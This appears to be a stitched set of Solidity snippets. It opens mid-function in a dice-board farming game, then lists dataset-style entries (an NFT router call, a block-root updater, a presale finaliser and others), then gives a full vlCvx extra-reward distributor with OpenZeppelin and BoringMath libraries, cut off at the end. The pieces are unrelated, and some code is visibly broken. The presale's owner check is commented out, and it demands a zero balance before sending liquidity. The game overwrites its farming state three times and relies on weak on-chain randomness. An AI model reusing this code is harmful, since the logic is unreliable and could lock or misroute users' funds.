Player storage player = players[msg.sender];
if (player.lastRewardTime == 0) {
player.lastRewardTime = block.timestamp;
updateDailyRewards(msg.sender);
}
console.log("lastRollTime", player.lastRollTime);
console.log("now", block.timestamp);
if (!rollFree) {
require(
block.timestamp.sub(players[msg.sender].lastRollTime) >
rollDuration,
"It's not time for rolling"
);
}
player.lastRollTime = block.timestamp;
uint256 dice = random().mod(6).add(1);
player.dice = dice;
console.log("rolled", dice);
uint256 oldPosition = player.curPos;
console.log("oldPos", oldPosition);
if (forceFarm) {
player.curPos = player.curPos.add(dice).mod(CASE_COUNT);
}
console.log("curPos", player.curPos);
if (player.curPos < oldPosition) {
player.startBonusCounts = player.startBonusCounts.add(1);
console.log("passed start");
updateDailyRewards(msg.sender);
}
console.log("dailyRewards", dailyRewards);
if (casePositions[player.curPos] == CaseType.Rewards120) {
BoostReward storage boostReward = player.boostRewards[0];
boostReward.originReward = dailyRewards.mul(rewards120Rate).div(divider);
if(boostReward.startTime == 0){
boostReward.startTime = block.timestamp;
}
boostReward.remainTime = boostDuration;
console.log("land rewards120", boostReward.originReward);
}
if (casePositions[player.curPos] == CaseType.Rewards150) {
BoostReward storage boostReward = player.boostRewards[1];
boostReward.originReward = dailyRewards.mul(rewards150Rate).div(divider);
if(boostReward.startTime == 0){
boostReward.startTime = block.timestamp;
}
boostReward.remainTime = boostDuration;
console.log("land rewards150", boostReward.originReward);
}
if (casePositions[player.curPos] == CaseType.Rewards180) {
BoostReward storage boostReward = player.boostRewards[2];
boostReward.originReward = dailyRewards.mul(rewards180Rate).div(divider);
if(boostReward.startTime == 0){
boostReward.startTime = block.timestamp;
}
boostReward.remainTime = boostDuration;
console.log("land rewards180", boostReward.originReward);
}
if (casePositions[player.curPos] == CaseType.DisableRewards) {
if (player.disableStartTime == 0) {
player.disableStartTime = block.timestamp;
}
player.disableRemainTime = disableTimeCase;
console.log("disableRemainTime", player.disableRemainTime);
}
if (casePositions[player.curPos] == CaseType.Farming) {
uint256 rand = random().mod(100);
if (rand >= 0 && rand <= 39) {
player.bullishBonusCounts = player.bullishBonusCounts.add(1);
player.farming = 0;
updateDailyRewards(msg.sender);
player.disableStartTime = 0;
player.disableRemainTime = 0;
player.farming = 2;
player.farming = 1;
player.farming = 3;
}
console.log("farming", player.farming);
}
if (casePositions[player.curPos] == CaseType.NFT) {
player.minted = false;
console.log("NFT");
}
emit RolledDice(msg.sender, dice, player.curPos, player.farming);
| 16,755,276
|
./full_match/1/0xB6c0cF204D7872fFF613fa090f723d9D520EDe2A/sources/contracts/router/modules/exchanges/ZeroExV4Module.sol
|
Approve the exchange if needed Execute fill
|
function acceptERC20ListingERC721(
IZeroExV4.ERC721Order calldata order,
IZeroExV4.Signature calldata signature,
ERC20ListingParams calldata params,
Fee[] calldata fees
)
external
payable
nonReentrant
refundERC20Leftover(params.refundTo, params.token)
chargeERC20Fees(fees, params.token, params.amount)
{
_approveERC20IfNeeded(params.token, address(EXCHANGE), params.amount);
_buyERC721(order, signature, params.fillTo, params.revertIfIncomplete, 0);
}
| 8,374,259
|
./full_match/1/0x01d5b501C1fc0121e1411970fb79c322737025c2/sources/src/AxiomV0.sol
|
update older blocks in "backwards" direction, anchoring on more recent trusted blockhash must be batch of NUM_LEAVES blocks
|
function updateOld(bytes32 nextRoot, uint32 nextNumFinal, bytes calldata proofData) external {
(bytes32 prevHash, bytes32 endHash, uint32 startBlockNumber, uint32 endBlockNumber, bytes32 root) =
getBoundaryBlockData(proofData);
require(startBlockNumber % NUM_LEAVES == 0, "startBlockNumber not a multiple of NUM_LEAVES");
require(endBlockNumber - startBlockNumber == NUM_LEAVES - 1, "Updating with incorrect number of blocks");
require(
historicalRoots[endBlockNumber + 1] == keccak256(abi.encodePacked(endHash, nextRoot, nextNumFinal)),
"endHash does not match"
);
require(verifyRaw(proofData), "ZKP does not verify");
historicalRoots[startBlockNumber] = keccak256(abi.encodePacked(prevHash, root, NUM_LEAVES));
emit UpdateEvent(startBlockNumber, prevHash, root, NUM_LEAVES);
}
| 9,625,111
|
./partial_match/1/0x4B05cC8C9829bc594E0437C74aef56E17Cf8ba23/sources/PreSale.sol
|
require(owner == msg.sender, "Only Owner can end presale"); send 33% eth to dev wallet create uniswap pairWrap eth send unsold tokens to burn address
|
function endPresale() external {
require(ethcap == 0 || saleEnd < now, "Sale has not ended yet");
require(!ended, "already ended");
ended = true;
address payable wallet = address(uint160(owner));
wallet.transfer(address(this).balance.div(3));
address tokenUniswapPair = uniswapFactory.createPair(
address(uniswapRouterV2.WETH()),
address(dbase)
);
IUniswapV2Pair pair = IUniswapV2Pair(tokenUniswapPair);
address WETH = uniswapRouterV2.WETH();
uint256 ethToSend = address(this).balance;
require(address(this).balance == 0 , "Transfer Failed");
uint256 liquidityToAddRecalculated = liquidityToAdd;
if(ethcap != 0) {
liquidityToAddRecalculated = ethToSend.div(10**9).mul(rate);
uint256 unsoldTokens = IERC20(dbase).balanceOf(address(this)) - liquidityToAddRecalculated;
IERC20(dbase).transfer(address(0), unsoldTokens);
}
IERC20(dbase).transfer(address(pair), liquidityToAddRecalculated);
pair.mint(address(this));
uint256 totalLPTokensMinted = pair.balanceOf(address(this));
require(totalLPTokensMinted != 0 , "LP creation failed");
}
| 9,257,742
|
./full_match/80001/0x992aB509DeA03CA6DdBd4fEf865a6992F7c1e482/sources/contracts/eventBeacon.sol
|
Retrieve and retuns the address of the implementation contract. In case of an upgradeable implementation contract, this will be its proxy address. DO NOT alter the name of this function. The beaconProxy calls this function exact function to retrieve the implementation address and delegate calls to the implementation contract./
|
function implementation() public view returns (address){
return _beacon.implementation();
}
| 5,583,565
|
./full_match/1/0xd51D6A3b551f1150c69C4aaD46049c9bACc84A21/sources/contracts/PositionManager.flattened.sol
|
Updates the base rate based on time elapsed since the last redemption or R borrowing operation.
|
function _decayBaseRateFromBorrowing(IERC20 collateralToken) internal {
uint256 decayedBaseRate = _calcDecayedBaseRate(collateralToken);
collateralInfo[collateralToken].baseRate = decayedBaseRate;
emit BaseRateUpdated(collateralToken, decayedBaseRate);
_updateLastFeeOpTime(collateralToken);
}
| 8,305,537
|
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
import "./interfaces/ILockedCvx.sol";
import "./interfaces/BoringMath.sol";
import '@openzeppelin/contracts/token/ERC20/IERC20.sol';
import '@openzeppelin/contracts/token/ERC20/SafeERC20.sol';
//Distribute various rewards to locked cvx holders
// - Rewards added are assigned to the previous epoch (it was the previous epoch lockers who deserve today's rewards)
// - As soon as claiming for a token at an epoch is eligibe, no more tokens should be allowed to be added
// - To allow multiple txs to add to the same token, rewards added during the current epoch (and assigned to previous) will not
// be claimable until the beginning of the next epoch. The "reward assigning phase" must be complete first
//example:
//Current epoch: 10
//During this week all addReward() calls are assigned to users in epoch 9
//Users who were locked in epoch 9 can claim once epoch 11 begins
// -> epoch 10 is the assigning phase for epoch 9, thus we must wait until 10 is complete before claiming 9
contract vlCvxExtraRewardDistribution {
using SafeERC20
for IERC20;
using BoringMath
for uint256;
ILockedCvx public immutable cvxlocker;
uint256 public constant rewardsDuration = 86400 * 7;
mapping(address => mapping(uint256 => uint256)) public rewardData; // token -> epoch -> amount
mapping(address => uint256[]) public rewardEpochs; // token -> epochList
mapping(address => mapping(address => uint256)) public userClaims; //token -> account -> last claimed epoch index
constructor(address _locker) public {
cvxlocker = ILockedCvx(_locker);
}
function rewardEpochsCount(address _token) external view returns(uint256) {
return rewardEpochs[_token].length;
}
function previousEpoch() internal view returns(uint256){
//count - 1 = next
//count - 2 = current
//count - 3 = prev
return cvxlocker.epochCount() - 3;
}
//add a reward to a specific epoch
function addRewardToEpoch(address _token, uint256 _amount, uint256 _epoch) external {
//checkpoint locker
cvxlocker.checkpointEpoch();
//if adding a reward to a specific epoch, make sure it's
//a.) an epoch older than the previous epoch (in which case use addReward)
//b.) more recent than the previous reward
//this means addRewardToEpoch can only be called *once* for a specific reward for a specific epoch
//because they will be claimable immediately and amount shouldnt change after claiming begins
//
//conversely rewards can be piled up with addReward() because claiming is only available to completed epochs
require(_epoch < previousEpoch(), "!prev epoch");
uint256 l = rewardEpochs[_token].length;
require(l == 0 || rewardEpochs[_token][l - 1] < _epoch, "old epoch");
_addReward(_token, _amount, _epoch);
}
//add a reward to the current epoch. can be called multiple times for the same reward token
function addReward(address _token, uint256 _amount) external {
//checkpoint locker
cvxlocker.checkpointEpoch();
//assign to previous epoch
uint256 prevEpoch = previousEpoch();
_addReward(_token, _amount, prevEpoch);
}
function _addReward(address _token, uint256 _amount, uint256 _epoch) internal {
//convert to reward per token
uint256 supply = cvxlocker.totalSupplyAtEpoch(_epoch);
uint256 rPerT = _amount.mul(1e20).div(supply);
rewardData[_token][_epoch] = rewardData[_token][_epoch].add(rPerT);
//add epoch to list
uint256 l = rewardEpochs[_token].length;
if (l == 0 || rewardEpochs[_token][l - 1] < _epoch) {
rewardEpochs[_token].push(_epoch);
}
//pull
IERC20(_token).safeTransferFrom(msg.sender, address(this), _amount);
//event
emit RewardAdded(_token, _epoch, _amount);
}
//get claimable rewards for a specific token
function claimableRewards(address _account, address _token) external view returns(uint256) {
(uint256 rewards,) = _allClaimableRewards(_account, _token);
return rewards;
}
//get claimable rewards for a token at a specific epoch
function claimableRewardsAtEpoch(address _account, address _token, uint256 _epoch) external view returns(uint256) {
return _claimableRewards(_account, _token, _epoch);
}
//get all claimable rewards
function _allClaimableRewards(address _account, address _token) internal view returns(uint256,uint256) {
uint256 epochIndex = userClaims[_token][_account];
uint256 prevEpoch = previousEpoch();
uint256 claimableTokens;
for (uint256 i = epochIndex; i < rewardEpochs[_token].length; i++) {
//only claimable after rewards are "locked in"
if (rewardEpochs[_token][i] < prevEpoch) {
claimableTokens = claimableTokens.add(_claimableRewards(_account, _token, rewardEpochs[_token][i]));
//return index user claims should be set to
epochIndex = i+1;
}
}
return (claimableTokens, epochIndex);
}
//get claimable rewards for a token at a specific epoch
function _claimableRewards(address _account, address _token, uint256 _epoch) internal view returns(uint256) {
//get balance and calc share
uint256 balance = cvxlocker.balanceAtEpochOf(_epoch, _account);
return balance.mul(rewardData[_token][_epoch]).div(1e20);
}
//claim rewards for a specific token at a specific epoch
function getReward(address _account, address _token) public {
//get claimable tokens
(uint256 claimableTokens, uint256 index) = _allClaimableRewards(_account, _token);
if (claimableTokens > 0) {
//set claim checkpoint
userClaims[_token][_account] = index;
//send
IERC20(_token).safeTransfer(_account, claimableTokens);
//event
emit RewardPaid(_account, _token, claimableTokens);
}
}
//claim multiple tokens
//also allow fast forwarding claim index to save on gas
// _claimIndex[] should be all 0s if no fast forwarding required
function getRewards(address _account, address[] calldata _tokens, uint256[] calldata _claimIndex) external {
for(uint i = 0; i < _tokens.length; i++){
if(_claimIndex[i] > 0){
setClaimIndex(_tokens[i], _claimIndex[i]);
}
getReward(_account, _tokens[i]);
}
}
//get next claimable index. can use this to call setClaimIndex() to reduce gas costs if there
//is a large number of epochs between current index and getNextClaimableIndex()
function getNextClaimableIndex(address _account, address _token) external view returns(uint256){
uint256 epochIndex = userClaims[_token][_account];
uint256 prevEpoch = previousEpoch();
for (uint256 i = epochIndex; i < rewardEpochs[_token].length; i++) {
//only claimable after rewards are "locked in"
if (rewardEpochs[_token][i] < prevEpoch) {
if(_claimableRewards(_account, _token, rewardEpochs[_token][i]) > 0){
//return index user claims should be set to
return i;
}
}
}
return 0;
}
//Because claims cycle through all periods that a specific reward was given
//there becomes a situation where, for example, a new user could lock
//2 years from now and try to claim a token that was given out every week prior.
//This would result in a 2mil gas checkpoint.(about 20k gas * 52 weeks * 2 years)
//
//allow a user to set their claimed index forward without claiming rewards
function setClaimIndex(address _token, uint256 _index) public {
require(_index > 0 && _index < rewardEpochs[_token].length, "!past");
require(_index >= userClaims[_token][msg.sender], "already claimed");
//set claim checkpoint. next claim starts from index
userClaims[_token][msg.sender] = _index;
emit ForcedClaimIndex(msg.sender, _token, _index);
}
/* ========== EVENTS ========== */
event RewardAdded(address indexed _token, uint256 indexed _epoch, uint256 _reward);
event RewardPaid(address indexed _user, address indexed _rewardsToken, uint256 _reward);
event ForcedClaimIndex(address indexed _user, address indexed _rewardsToken, uint256 _index);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
interface ILockedCvx{
struct LockedBalance {
uint112 amount;
uint112 boosted;
uint32 unlockTime;
}
function lock(address _account, uint256 _amount, uint256 _spendRatio) external;
function processExpiredLocks(bool _relock, uint256 _spendRatio, address _withdrawTo) external;
function getReward(address _account, bool _stake) external;
function balanceAtEpochOf(uint256 _epoch, address _user) view external returns(uint256 amount);
function totalSupplyAtEpoch(uint256 _epoch) view external returns(uint256 supply);
function epochCount() external view returns(uint256);
function epochs(uint256 _id) external view returns(uint224,uint32);
function checkpointEpoch() external;
function balanceOf(address _account) external view returns(uint256);
function totalSupply() view external returns(uint256 supply);
function lockedBalances(
address _user
) view external returns(
uint256 total,
uint256 unlockable,
uint256 locked,
LockedBalance[] memory lockData
);
function addReward(
address _rewardsToken,
address _distributor,
bool _useBoost
) external;
function approveRewardDistributor(
address _rewardsToken,
address _distributor,
bool _approved
) external;
function setStakeLimits(uint256 _minimum, uint256 _maximum) external;
function setBoost(uint256 _max, uint256 _rate, address _receivingAddress) external;
function setKickIncentive(uint256 _rate, uint256 _delay) external;
function shutdown() external;
function recoverERC20(address _tokenAddress, uint256 _tokenAmount) external;
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
/// @notice A library for performing overflow-/underflow-safe math,
/// updated with awesomeness from of DappHub (https://github.com/dapphub/ds-math).
library BoringMath {
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
require((c = a + b) >= b, "BoringMath: Add Overflow");
}
function sub(uint256 a, uint256 b) internal pure returns (uint256 c) {
require((c = a - b) <= a, "BoringMath: Underflow");
}
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
require(b == 0 || (c = a * b) / b == a, "BoringMath: Mul Overflow");
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "BoringMath: division by zero");
return a / b;
}
function to128(uint256 a) internal pure returns (uint128 c) {
require(a <= uint128(-1), "BoringMath: uint128 Overflow");
c = uint128(a);
}
function to64(uint256 a) internal pure returns (uint64 c) {
require(a <= uint64(-1), "BoringMath: uint64 Overflow");
c = uint64(a);
}
function to32(uint256 a) internal pure returns (uint32 c) {
require(a <= uint32(-1), "BoringMath: uint32 Overflow");
c = uint32(a);
}
function to40(uint256 a) internal pure returns (uint40 c) {
require(a <= uint40(-1), "BoringMath: uint40 Overflow");
c = uint40(a);
}
function to112(uint256 a) internal pure returns (uint112 c) {
require(a <= uint112(-1), "BoringMath: uint112 Overflow");
c = uint112(a);
}
function to224(uint256 a) internal pure returns (uint224 c) {
require(a <= uint224(-1), "BoringMath: uint224 Overflow");
c = uint224(a);
}
function to208(uint256 a) internal pure returns (uint208 c) {
require(a <= uint208(-1), "BoringMath: uint208 Overflow");
c = uint208(a);
}
function to216(uint256 a) internal pure returns (uint216 c) {
require(a <= uint216(-1), "BoringMath: uint216 Overflow");
c = uint216(a);
}
}
/// @notice A library for performing overflow-/underflow-safe addition and subtraction on uint128.
library BoringMath128 {
function add(uint128 a, uint128 b) internal pure returns (uint128 c) {
require((c = a + b) >= b, "BoringMath: Add Overflow");
}
function sub(uint128 a, uint128 b) internal pure returns (uint128 c) {
require((c = a - b) <= a, "BoringMath: Underflow");
}
}
/// @notice A library for performing overflow-/underflow-safe addition and subtraction on uint64.
library BoringMath64 {
function add(uint64 a, uint64 b) internal pure returns (uint64 c) {
require((c = a + b) >= b, "BoringMath: Add Overflow");
}
function sub(uint64 a, uint64 b) internal pure returns (uint64 c) {
require((c = a - b) <= a, "BoringMath: Underflow");
}
}
/// @notice A library for performing overflow-/underflow-safe addition and subtraction on uint32.
library BoringMath32 {
function add(uint32 a, uint32 b) internal pure returns (uint32 c) {
require((c = a + b) >= b, "BoringMath: Add Overflow");
}
function sub(uint32 a, uint32 b) internal pure returns (uint32 c) {
require((c = a - b) <= a, "BoringMath: Underflow");
}
function mul(uint32 a, uint32 b) internal pure returns (uint32 c) {
require(b == 0 || (c = a * b) / b == a, "BoringMath: Mul Overflow");
}
function div(uint32 a, uint32 b) internal pure returns (uint32) {
require(b > 0, "BoringMath: division by zero");
return a / b;
}
}
/// @notice A library for performing overflow-/underflow-safe addition and subtraction on uint112.
library BoringMath112 {
function add(uint112 a, uint112 b) internal pure returns (uint112 c) {
require((c = a + b) >= b, "BoringMath: Add Overflow");
}
function sub(uint112 a, uint112 b) internal pure returns (uint112 c) {
require((c = a - b) <= a, "BoringMath: Underflow");
}
function mul(uint112 a, uint112 b) internal pure returns (uint112 c) {
require(b == 0 || (c = a * b) / b == a, "BoringMath: Mul Overflow");
}
function div(uint112 a, uint112 b) internal pure returns (uint112) {
require(b > 0, "BoringMath: division by zero");
return a / b;
}
}
/// @notice A library for performing overflow-/underflow-safe addition and subtraction on uint224.
library BoringMath224 {
function add(uint224 a, uint224 b) internal pure returns (uint224 c) {
require((c = a + b) >= b, "BoringMath: Add Overflow");
}
function sub(uint224 a, uint224 b) internal pure returns (uint224 c) {
require((c = a - b) <= a, "BoringMath: Underflow");
}
function mul(uint224 a, uint224 b) internal pure returns (uint224 c) {
require(b == 0 || (c = a * b) / b == a, "BoringMath: Mul Overflow");
}
function div(uint224 a, uint224 b) internal pure returns (uint224) {
require(b > 0, "BoringMath: division by zero");
return a / b;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "./IERC20.sol";
import "../../math/SafeMath.sol";
import "../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
